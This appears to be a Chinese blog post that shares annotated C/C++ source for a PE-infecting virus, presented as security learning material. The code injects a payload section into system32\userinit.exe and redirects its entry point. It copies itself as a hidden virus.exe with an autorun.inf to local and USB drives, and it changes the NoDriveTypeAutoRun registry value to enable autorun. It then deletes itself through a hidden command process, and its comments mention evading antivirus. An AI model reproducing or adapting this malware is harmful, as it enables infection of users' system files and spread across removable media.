现在的位置: 首页 > 综合 > 正文

PE感染型病毒代码 大部分有注释

2018年04月06日 ⁄ 综合 ⁄ 共 17397字 ⁄ 字号 评论关闭

//学习电脑安全,必须要了解 病毒
//Remark:
PE感染型病毒代码 pe为可执行文件 来自<<小小黑客>> 
//欢迎提出疑问和质疑
#pragma once
#include <stdio.h>
#include <Windows.h>
#include <iostream>
using namespace std;
//#pragma data_seg(".mydat")//程序优化 不显示UI
//#pragma code_seg(".shell")
//#pragma const_seg(".constdata")
//#pragma comment(linker,"/SECTION:.mydat,RWE")
//#pragma comment(linker,"/SECTION:.shell,RWE")
//#pragma comment(linker,"/SECTION:.constdata,RWE")
//#pragma comment(linker,"/MERGE:.mydat=.shell")
//#pragma comment(linker,"/MERGE:.constdata=.shell")
//#pragma comment(linker, "/OPT:NOWIN98")
//#pragma comment(linker, "/subsystem:windows /entry:main")


//////////////////////////////////////////////////////////////////////////
//宏定义部分
//////////////////////////////////////////////////////////////////////////


//感染目标文件
#define TARGET
"\\userinit.exe"
//感染标记
#define INFECTFLAG
19901117


//////////////////////////////////////////////////////////////////////////
//Payload 部分
//////////////////////////////////////////////////////////////////////////
//宏定义、函数声明部分


#define RECODE(A) { _asm call A _asm A: _asm pop ebx _asm lea eax,A _asm sub ebx,eax }//此宏可实现代码重定位


#define RecodeStrOffset(pStr)  { _asm mov eax,[pStr] _asm lea eax,[ebx+eax] _asm mov pStr,eax } //重定位字符串偏移
#define RecodeVarOffset(dwGlovalVar,dwLocalVar)  { _asm mov eax,[ebx+dwGlovalVar] _asm mov dwLocalVar,eax }


void GetKernelFunc(void);//动态搜索函数地址


void ShellExcute(char* szDll,char* szFunc,char* szAction,char* szUrl);//核心payload


int FunCompare(char* str1,char* str2);//用于函数名比较


//Typedef 函数
typedef HINSTANCE (WINAPI *pLoadLibraryFunc)(LPCTSTR);
typedef DWORD (WINAPI *pShellExcuteFunc)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,INT);




//Payload 从这里开始
DWORD EntryPoint = 0;
char szShellExcute[] = "ShellExecuteA";
char szShell[] = "Shell32.dll";
char szKernel[] = "Kernel32.dll";
char szAction[] = "open";
char szUrl[] = "www.google.cn";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";


DWORD dwLoadLibrary = 0;
DWORD dwGetProcAddress = 0;


void BeginPoint(void)
{
RECODE(A);
DWORD OldEntryPoint = 0;
RecodeVarOffset(EntryPoint,OldEntryPoint)
GetKernelFunc();


ShellExcute(szShell,szShellExcute,szAction,szUrl);


_asm{
jmp OldEntryPoint
}


}




//////////////////////////////////////////////////////////////////////////
//用于函数名比较
//////////////////////////////////////////////////////////////////////////
int FunCompare(char* str1,char* str2)
{
while ( *str1 && *str2 && *str1==*str2)
{
str1++;str2++;
}


return (*str1-*str2);
}
//////////////////////////////////////////////////////////////////////////
//获取Kernel32基地址,并搜索 LoadLibraryA() 和 GetProcAddress() 地址
//////////////////////////////////////////////////////////////////////////
void GetKernelFunc(void)
{
RECODE(A);


PBYTE pLoadLibrary = (PBYTE)szLoadLibrary;
PBYTE pGetProcAddress = (PBYTE)szGetProcAddress;


RecodeStrOffset(pLoadLibrary);
RecodeStrOffset(pGetProcAddress);


//获取Kernel32.dll的基地址
DWORD dwKernelBase = 0;
_asm{
mov
eax,dword ptr fs:[30h]
mov eax,dword ptr [eax+0Ch]
mov esi,dword ptr [eax+1Ch]
lods dword ptr [esi]
mov eax,dword ptr [eax+08h]
mov dwKernelBase,eax
}


//Kernel32.dll的DOS头和PE头
IMAGE_DOS_HEADER *pHdr = (IMAGE_DOS_HEADER*)dwKernelBase;
IMAGE_NT_HEADERS *pNTHdr = (IMAGE_NT_HEADERS*)((PBYTE)dwKernelBase+pHdr->e_lfanew);


//数据目录项
IMAGE_DATA_DIRECTORY *pDatHdr = pNTHdr->OptionalHeader.DataDirectory;
//导出表
IMAGE_EXPORT_DIRECTORY *pEPTHdr = (IMAGE_EXPORT_DIRECTORY*)((PBYTE)dwKernelBase + pDatHdr->VirtualAddress);
//导出函数地址
DWORD* dwFunAdr = (DWORD*)((PBYTE)dwKernelBase + pEPTHdr->AddressOfFunctions);
DWORD* dwAdr = (DWORD*)((PBYTE)dwKernelBase + pEPTHdr->AddressOfNames);
DWORD dwFunc = 0;


//遍历出 LoadLibray() 和 GetProcAddress() 的地址
for (unsigned int i=0;i<pEPTHdr->NumberOfNames;i++)
{
if (FunCompare((char*)dwKernelBase+dwAdr[i],(char*)pLoadLibrary)==0)
{
dwFunc = dwFunAdr[i];
_asm{
RECODE(B)
mov eax,dwFunc
add eax,dwKernelBase
mov
[ebx+dwLoadLibrary],eax
}
continue;
}
if (FunCompare((char*)dwKernelBase+dwAdr[i],(char*)pGetProcAddress)==0)
{
dwFunc = dwFunAdr[i];
_asm{
RECODE(C)
mov eax,dwFunc
add eax,dwKernelBase
mov
[ebx+dwGetProcAddress],eax
}
}
}
}
//////////////////////////////////////////////////////////////////////////
//执行Shell,此函数可扩展
//////////////////////////////////////////////////////////////////////////
void ShellExcute(char* szDll,char* szFunc,char* szAction,char* szUrl)
{
RECODE(A);
char *pLocalDll = szDll;
RecodeStrOffset(szDll);
RecodeStrOffset(szFunc);
RecodeStrOffset(szAction);
RecodeStrOffset(szUrl);


//kernel32.dll BaseAddress : 0x7c800000.
DWORD LoadLibrary = 0x7c800000;
DWORD GetProcAddress = 0x7c800000;


RecodeVarOffset(dwLoadLibrary,LoadLibrary);
RecodeVarOffset(dwGetProcAddress,GetProcAddress);


HMODULE hDll = ((HMODULE(WINAPI*)(char*))LoadLibrary)(szDll);
PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))GetProcAddress)(hDll,szFunc);


_asm{
mov eax,dwFunAddr
push 0
push 0
push 0
push szUrl
push szAction
push 0
call eax
}
}


///////////////////////////////////////////////////////////////////////////
//Payload在这里结束
//////////////////////////////////////////////////////////////////////////
void EndPoint(void){}




//////////////////////////////////////////////////////////////////////////
//函数声明部分
//////////////////////////////////////////////////////////////////////////
//感染指定文件
BOOL InfectFile(const char* fname);
//感染各驱动盘
BOOL InfectDriver(void);
//是否是正常PE文件
BOOL IsPeFile(PVOID pHdr);
//是否已被感染
BOOL IsInfected(PVOID pHdr);
//字节对齐
int Align(int size,int n);
//修改注册表,实现自动运行
BOOL SetAutorun(void);
//模拟打开盘符
BOOL OpenPath(void);
//自删除
BOOL SelfDelete(void);
//////////////////////////////////////////////////////////////////////////
//Main Function
//////////////////////////////////////////////////////////////////////////
int main(void)
{
//感染目标文件路径
char path[MAX_PATH] = {0};//MAX_PATH=260


//获取系统目录
GetSystemDirectory(path,MAX_PATH);//path为 C:\windows\system32


strcat(path,TARGET);//TARGET为\\userinit.exe"-此目标作用为:管理不同的启动顺序, 此时path为:C:\windows\system32\userinit.exe
     

//感染目标文件
/*if (!InfectFile(path))
{
return 0;
}*/


////感染所有磁盘
//InfectDriver();


//修改注册表,实现自动播放
      SetAutorun();


////获取本程序路径
//GetModuleFileName(NULL,path,MAX_PATH);//path为病毒执行的地址
//if (strlen(path) != strlen("X:\\Virus.exe"))//当执行的的病毒,不是硬盘的病毒时,可能是这个C:\windows\system32\userinit.exe 
//{
//
//自删除
//
SelfDelete();
//
return 0;
//}
//else                        //是硬盘里病毒的时候
//{
//
//模拟打开盘符
//
OpenPath();
//}


////演示用对话框,读者可删
//MessageBox(NULL,"I'm Virus","Virus",MB_OK);


return 0;
}


//////////////////////////////////////////////////////////////////////////
//感染指定文件
//////////////////////////////////////////////////////////////////////////
BOOL InfectFile(const char* fname) //参数赋值为  C:\windows\system32\userinit.exe      
{
HANDLE hFile = CreateFile(fname,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);//用于打开windows的各种设备,如文件,控制台
    //lpcstr,fname要打开的设备名字;
    //dword,GENERIC_READ GENERIC_WRITE访问属性;
    //dword,共享模式,文件读写
    //LPSECURITY_ATTRIBUTES 是否可被子线程继承
    //handle当文件存在或不存在时 ,采取行为,OPEN_EXISTING为文件必须已经存在

if (!hFile)
{
return FALSE;
}


HANDLE hMapFile = CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);//创建新的文件映射对象
//handle 已经打开的文件句柄,即已经创建的hFile
//lpsecurty_attributes 内存映射文件是否可被继承
//dword 保护类型 PAGE_READWRITE内存页面为可读写
//dword
//dword 与上面参数共同决定64位内存映射文件的长度,都为null时,将调整为磁盘文件大小
    //lpcstr 为内存映射文件命名,常用于进程尖的通讯,用于磁盘文件时,不需要命名



if (!hMapFile)
{
CloseHandle(hFile);//关闭句柄
return FALSE;
}

PVOID  pHdr = MapViewOfFile(hMapFile,FILE_MAP_ALL_ACCESS,NULL,NULL,NULL);//将文件对象映射到当前应用程序的地址空间,返回映射地址空间的首地址
//handle 要映射的文件映射对象
//dword 保护类型,?????????????????
//dword 
//dword 与上参数组成一个64位偏移量
//Size_t 默认人0,表示映射整个文件

if (!pHdr)
{
CloseHandle(hMapFile);//关闭文件映射对象
CloseHandle(hFile);//关闭文件句柄
return FALSE;
}


// 判断是否为正常PE文件
if (!IsPeFile(pHdr))
{
UnmapViewOfFile(pHdr);//在当前应用程序的内存地址空间解除对文件映射对象的映射
CloseHandle(hMapFile);
CloseHandle(hFile);
return FALSE;
}


//判断是否已被感染
if (IsInfected(pHdr))
{
UnmapViewOfFile(pHdr);
CloseHandle(hMapFile);
CloseHandle(hFile);
return FALSE;
}

IMAGE_NT_HEADERS *pNTHdr = (IMAGE_NT_HEADERS*)((PBYTE)pHdr + ((IMAGE_DOS_HEADER*)pHdr)->e_lfanew);//PE头指针=
文件头指针+DOS头的e_lfanew位指定的PE头偏移


IMAGE_SECTION_HEADER *pSecHdr = (IMAGE_SECTION_HEADER*)((PBYTE)pNTHdr + sizeof(IMAGE_NT_HEADERS));//节区头指针=
PE头指针+PE头的长度  因为PE后即为区块表



//两个节区指针,可以综合填充一个新节区

//最后一个节指针
IMAGE_SECTION_HEADER *pLastSec = &pSecHdr[pNTHdr->FileHeader.NumberOfSections-1];//FileHeader为映像文件投,,NumberOfSections为文件
的区段数目

    //定义 一个新节(区块)
IMAGE_SECTION_HEADER *pNewSec = &pSecHdr[pNTHdr->FileHeader.NumberOfSections];
    //节区数目加一
pNTHdr->FileHeader.NumberOfSections++;


//两个偏移量
DWORD dwFileAlign = pNTHdr->OptionalHeader.FileAlignment;//FileAlignment为文件区块对齐值,
DWORD dwSecAlign  = pNTHdr->OptionalHeader.SectionAlignment;//SectionAlignment为内存中区块对齐值    即区块的大小必须为它们的整数倍

//感染的代码长度
DWORD dwCodeSize  = (DWORD)EndPoint - (DWORD)&EntryPoint; //EndPoint为感染代码的末位置指针,EntryPoint为感染代码的初位置指针

//填充新节的各字段
memcpy(pNewSec->Name,".0xQo",6);                        //定义区块表的名称为.0xQo,常见名称为.data,.txt
pNewSec->PointerToRawData=
pLastSec->PointerToRawData + pLastSec->SizeOfRawData;//新区块的偏移=最后偏移+实际大小,其中 PointerToRawData为文件中的偏移,SizeOfRawData为文件中的对齐尺寸,代表区段在文件的大小
pNewSec->VirtualAddress=
pLastSec->VirtualAddress + Align(pLastSec->Misc.VirtualSize,dwSecAlign);// 新区块的内存地址=最后内存区块的地址+最后内存区块的原始大小+对齐值    ,    VirtualAddress代表区段被装入内存后的偏移地址(未对齐),用SectionAlignment进行对齐。
pNewSec->SizeOfRawData=
Align(dwCodeSize,dwSecAlign);//新区块的实际大小=代码长度+对齐值,SizeOfRawData为文件中的对齐值
pNewSec->Misc.VirtualSize=
Align(dwCodeSize,dwSecAlign);//新区块原始内存大小(未对齐时的值),此处不准确,应该为dwCodeSize
pNewSec->Characteristics=
IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;//定义属性
//IMAGE_SCN_MEM_EXECUTE 内存页可执行
//IMAGE_SCN_MEM_READ 内存页可读
//IMAGE_SCN_MEM_WRITE 内存页可写
//IMAGE_SCN_CNT_CODE 包含代码(?????)


//修正PE镜像大小
pNTHdr->OptionalHeader.SizeOfCode += pNewSec->Misc.VirtualSize;//SizeOfCode 区块总大小,并且是经过字节对齐后的大小 ,如果PE新增代码块,要进行修改
pNTHdr->OptionalHeader.SizeOfImage += pNewSec->Misc.VirtualSize;//SizeOfImage为PE映像装入内存后的总大小


DWORD dwSize = 0;
SetFilePointer(hFile,pNewSec->PointerToRawData,NULL,FILE_BEGIN);//在文件设置当前读写位置
//handle 已打开句柄
//long 
//plong  以上为组成一个64位的文件长度,一般情况32位,即第三个参数设为null
//dword 表示从哪里开始移动  FILE_BEGIN为从文件头开始移动


WriteFile(hFile,&EntryPoint,pNewSec->Misc.VirtualSize,&dwSize,NULL);//从文件指针指向的位置开始将数据写入到文件中
//handle
//lpcvoid 数据缓存区指针,即要写入的数据
//lpdword 要写入的字节数
//LPDWORD 用于保存实际字节数的存储区域的指针
//LPOVERLAPPED 如果文件是以file_flag_overlapped 方式打开的话,就不能用null


SetEndOfFile(hFile);//针对打开的文件,将当前文件位置设置为文件末尾


//????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
//设置新的入口点(可以考虑EPO来混淆),防止被杀毒软件发现 
DWORD dwOldEntryPoint = pNTHdr->OptionalHeader.AddressOfEntryPoint + pNTHdr->OptionalHeader.ImageBase;//原来的入口=基地址+入口相对于头指针的偏移量,AddressOfEntryPoint为文件被执行时的入口地址,ImageBase为文件默认装入的基地址
SetFilePointer(hFile,pNewSec->PointerToRawData,NULL,FILE_BEGIN);
//handle 已打开句柄
//long (低位 偏移量)
//plong  (高位 偏移量)以上为组成一个64位的文件长度,一般情况32位,即第三个参数设为null
//dword   基地址,表示从哪里开始移动  FILE_BEGIN为从文件头开始移动

WriteFile(hFile,&dwOldEntryPoint,4,&dwSize,NULL);//重新将执行开始的数据,写在新增减的区块里
pNTHdr->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress + (DWORD)BeginPoint - (DWORD)&EntryPoint;//将设置新的PE入口点












//处理后事..
FlushViewOfFile(pHdr,pNTHdr->OptionalHeader.SizeOfHeaders);//将文件修改立即写入磁盘
//lpcvoid 要写入磁盘数据的起始地址
//size_t 写入磁盘数据的大小,SizeOfHeaders代表dos头,PE头,区块表总大小


UnmapViewOfFile(pHdr);//解除映射
CloseHandle(hMapFile);
CloseHandle(hFile);


return TRUE;
}


//////////////////////////////////////////////////////////////////////////
//感染各驱动盘
//////////////////////////////////////////////////////////////////////////
BOOL InfectDriver(void)
{
//for (char ch='C';ch<='Z';ch++)
    for (char ch='D';ch<='D';ch++)
{
//存储释放路径,先构造盘符
char path[MAX_PATH] = {ch,':'};//此时的Path为:ch:


//只感染硬盘和U盘类
if (GetDriveType(path)==DRIVE_FIXED || GetDriveType(path)==DRIVE_REMOVABLE)//当path是硬盘,或者是u盘是 开始感染
{
char p[MAX_PATH] = {0};
memcpy(p,path,MAX_PATH);//此时p为ch:


//释放的EXE路径
strcat(path,"\\virus.exe");//此时path为:ch:\\virus.exe
char temp[MAX_PATH] = {0};
//获取本程序路径
GetModuleFileName(NULL,temp,MAX_PATH);//temp为:已经被执行的病毒的地址
//复制文件
CopyFile(temp,path,false);//将病毒复制到:ch:\\virus.exe
//设置文件属性为 系统|隐藏
SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);//设置新病毒的属性为系统(??? ),隐藏


//使用autorun实现启动
strcat(p,"\\autorun.inf");//此时p为:ch:\\autorun.inf
//重新生成autorun.inf
DeleteFile(p);//删除原来硬盘上的autorun程序
FILE *fp = fopen(p,"a");//设置文件指针,操作方式为追加
memset(temp,0,MAX_PATH);//将temp清空
//Autorun.inf的写法 向temp数组里写入 自动执行代码
memcpy(temp,"[Autorun]\nOPEN=virus.exe\nshell\\open=打开(&O)\nshell\\open\\Command=virus.exe\nshell\\open\\Default=1\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=virus.exe",MAX_PATH);
fputs(temp,fp);//将自动执行的代码写入 ch:\\autorun.inf中
fclose(fp);
SetFileAttributes(p,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);//设置autorun属性为系统(??? ),隐藏
}


}


return TRUE;
}




//////////////////////////////////////////////////////////////////////////
//是否是正常PE文件
//////////////////////////////////////////////////////////////////////////
BOOL IsPeFile(PVOID pHdr)//参数为映射地址空间的首地址
{
//判断DOS头标志是否正确
IMAGE_DOS_HEADER *p1 = (IMAGE_DOS_HEADER*)pHdr;
if (p1->e_magic != IMAGE_DOS_SIGNATURE)//#define IMAGE_DOS_SIGNATURE    0x5A4D(ASCII值为MZ)  常用于判断文件是否为有效的可执行文件
  

{
return FALSE;
}
//判断PE头标志是否正确
    IMAGE_NT_HEADERS*  p2 = (IMAGE_NT_HEADERS*)((PBYTE)pHdr + p1->e_lfanew);//PE头指针=文件头指针基地址+偏移量(DOS文件头的e_lfanew为偏移量)
if (p2->Signature != IMAGE_NT_SIGNATURE)//] #define IMAGE_NT_SIGNATURE   0x00004550(ASCII值为PE00) 常用于判断PE文件的有效性
{
return FALSE;
}


return TRUE;
}


//////////////////////////////////////////////////////////////////////////
//是否已被感染
//////////////////////////////////////////////////////////////////////////
BOOL IsInfected(PVOID pHdr)//参数为映射地址空间的首地址
{
IMAGE_DOS_HEADER *p = (IMAGE_DOS_HEADER*)pHdr;
//判断DOS头的保留位是否已被填充为 19901117
if ( p->e_res2[0] == (WORD)INFECTFLAG)//e_res2 保留字,一般用来填写是否被改写
{
return TRUE;
}
else
{
p->e_res2[0] = (WORD)INFECTFLAG;
return FALSE;
}
}


//////////////////////////////////////////////////////////////////////////
//字节对齐
//////////////////////////////////////////////////////////////////////////
int Align(int size,int n)
{
if (size%n)//大小为内存中区块对齐值的整数倍
{
return (size/n + 1)*n;
}

return size;
}




//////////////////////////////////////////////////////////////////////////
//修改注册表,实现自动运行
//////////////////////////////////////////////////////////////////////////
BOOL gew5655(void)
{
//Remark:  NoDriveTypeAutoRun键值为145代表开启自动运行,255为关闭自动运行


HKEY hKey;
long iret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hKey);
if (iret != ERROR_SUCCESS)
{
return FALSE;
}
DWORD dwValue = 145;
iret =RegSetValueEx(hKey,"NoDriveTypeAutoRun",NULL,REG_DWORD,(PBYTE)&dwValue,4);
if (iret != ERROR_SUCCESS)
{
return FALSE;
}
RegCloseKey(hKey);


return TRUE;
}


//////////////////////////////////////////////////////////////////////////
//模拟打开盘符
//////////////////////////////////////////////////////////////////////////
BOOL OpenPath(void)
{
//获取当前目录
char path[MAX_PATH] = {0};
GetModuleFileName(NULL,path,MAX_PATH);//获取当前病毒执行的目录
path[strlen(path)-9] = '\0';
//打开当前目录
ShellExecute(NULL,NULL,path,NULL,NULL,SW_SHOWNORMAL);//打开目录


return TRUE;
}


//////////////////////////////////////////////////////////////////////////
//自删除 解释:利用远程技术完成自我删除,原理为在可执行文件返回前,创建一个运行命令窗口的新进程,该命令窗口以隐藏的方式执行,并通过传递参数执行删除功能能,为了避免可执行文件的映像还在
//内存中,需要把当前进程设置为实时优先级,而命令窗口进程设置为很低的idle优先级,这样能在可执行文件结束返回后,再执行命令窗口的删除命令
//////////////////////////////////////////////////////////////////////////
BOOL SelfDelete(void)
{
char
szModule[MAX_PATH];
char
szComspec[MAX_PATH];
char
szParams[MAX_PATH];


//获得此进程名
if ( GetModuleFileName(0,szModule,MAX_PATH)!=0 && GetShortPathName(szModule,szModule,MAX_PATH)!=0 &&
GetEnvironmentVariable(TEXT("COMSPEC"),szComspec,MAX_PATH)!=0 )

{
//GetModuleFileName函数  获得应用程序的完整路径 
//hmodule  获得应用程序的句柄,当为Null时,则获得当前程序的完整路径
//lptstr  存放路径的缓存区
//dword  缓存区大小


//GetShortPathName函数  获得正常文件名字的dos8.3格式的短文件名 
//LPCSTR 路径
//LPSTR 保存短文件名的数组
   //DWORD 数组长度


       //GetEnvironmentVariable 从进程的环境变量中返回制定变量名的值
       //lpcstr 要取得变量名的字符串指针 
       //lpstr 接受变量值的指针
       //dword 长度


       //COMSPEC为指向命令行窗体程序的环境变量  


//设置命令参数
lstrcpy(szParams,TEXT(" /c del "));
lstrcat(szParams,szModule);
lstrcat(szParams,TEXT(" > nul"));
lstrcat(szComspec,szParams);
        
//填充结构体
STARTUPINFO
 si = {0};
PROCESS_INFORMATIONpi
= {0}; //与创建进程相关,返回有关新进程及其主线程的信息

si.cb = sizeof(si);//cb
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;//隐藏






/*


typedef struct _STARTUPINFOW {
    DWORD   cb;    //该结构中的字节数
    LPWSTR  lpReserved;//保留,必须为null
    LPWSTR  lpDesktop;//如果桌面存在,则新进程与该程序相关联,不存在则穿件默认性的窗体,使用新进程名字
    LPWSTR  lpTitle;//  控制窗体的名字
    DWORD   dwX;//
    DWORD   dwY;//设定在屏幕的位置x,y
    DWORD   dwXSize;//
    DWORD   dwYSize;//大小(像素)
    DWORD   dwXCountChars;
    DWORD   dwYCountChars;//大小(字节为单位)
    DWORD   dwFillAttribute;//设定窗体使用的文本,和背景色
    DWORD   dwFlags;使用wShowWindow成员
    WORD    wShowWindow;用于设定如果子应用程序初次调用showwindiws将sw_windows参数传递时,该应用窗体的第一个重叠窗体如何出现
    WORD    cbReserved2;保留
    LPBYTE  lpReserved2;保留
    HANDLE  hStdInput;用于控制台输入输出的句柄
    HANDLE  hStdOutput;
    HANDLE  hStdError;
} STARTUPINFOW, *LPSTARTUPINFOW;


*/






























//为当前程序设置实时优先级
SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);//设置进程的优先级
// handle 制定进程的句柄
//dword 指定优先级 REALTIME_PRIORITY_CLASS为最高优先级
SetThreadPriority(GetCurrentProcess(),THREAD_PRIORITY_TIME_CRITICAL);//设置线程的优先级


//创建远程进程
if (CreateProcess(0,szComspec,0,0,0,CREATE_SUSPENDED | DETACHED_PROCESS,0,0,&si,&pi))//创建远程线程
{
            //lpcstr  
            //lpcstr 要执行的命令行
//返回句柄是否可以被子线程继承
            //返回指向线程的句柄可否被子线程继承
//新进程是否从调用进程继承句柄
//DWORD 指定附加的,用来控制优先类和进程创建的标志 CREATE_SUSPENDED 新建的主线程会以暂停状态创建  DETACHED_PROCESS 调用的进程将被当作调试程序,,并且被事件将通知调试器
            //指向新进程的环境块,为空时候,新进程将使用调用进程的环境
//指定子线程的工作路径,为空时,则与调用程序相同的路径
// LPSTARTUPINFOW 新进程窗体如何显示
//LPPROCESS_INFORMATION 进程的识别信息体










//暂停一直到该程序退出再执行
SetPriorityClass(pi.hProcess,IDLE_PRIORITY_CLASS);//设置删除进程为很低的优先级
SetThreadPriority(pi.hThread,THREAD_PRIORITY_IDLE);//设置删除线程为很低的优先级


//以低级别恢复批处理
ResumeThread(pi.hThread);//恢复进程,前面已经设置 SUSPENDED


return TRUE;
}
else
{
SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);
SetThreadPriority(GetCurrentProcess(),THREAD_PRIORITY_NORMAL);
}
}


return FALSE;
}
//修改注册表,实现自动运行
//////////////////////////////////////////////////////////////////////////
BOOL SetAutorun(void)
{
//Remark:  NoDriveTypeAutoRun键值为145代表开启自动运行,255为关闭自动运行


HKEY hKey;
long iret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hKey);
if (iret != ERROR_SUCCESS)
{
return FALSE;
}
DWORD dwValue = 145;
iret =RegSetValueEx(hKey,"NoDriveTypeAutoRun",NULL,REG_DWORD,(PBYTE)&dwValue,4);
if (iret != ERROR_SUCCESS)
{
return FALSE;
}
RegCloseKey(hKey);


return TRUE;
}

抱歉!评论已关闭.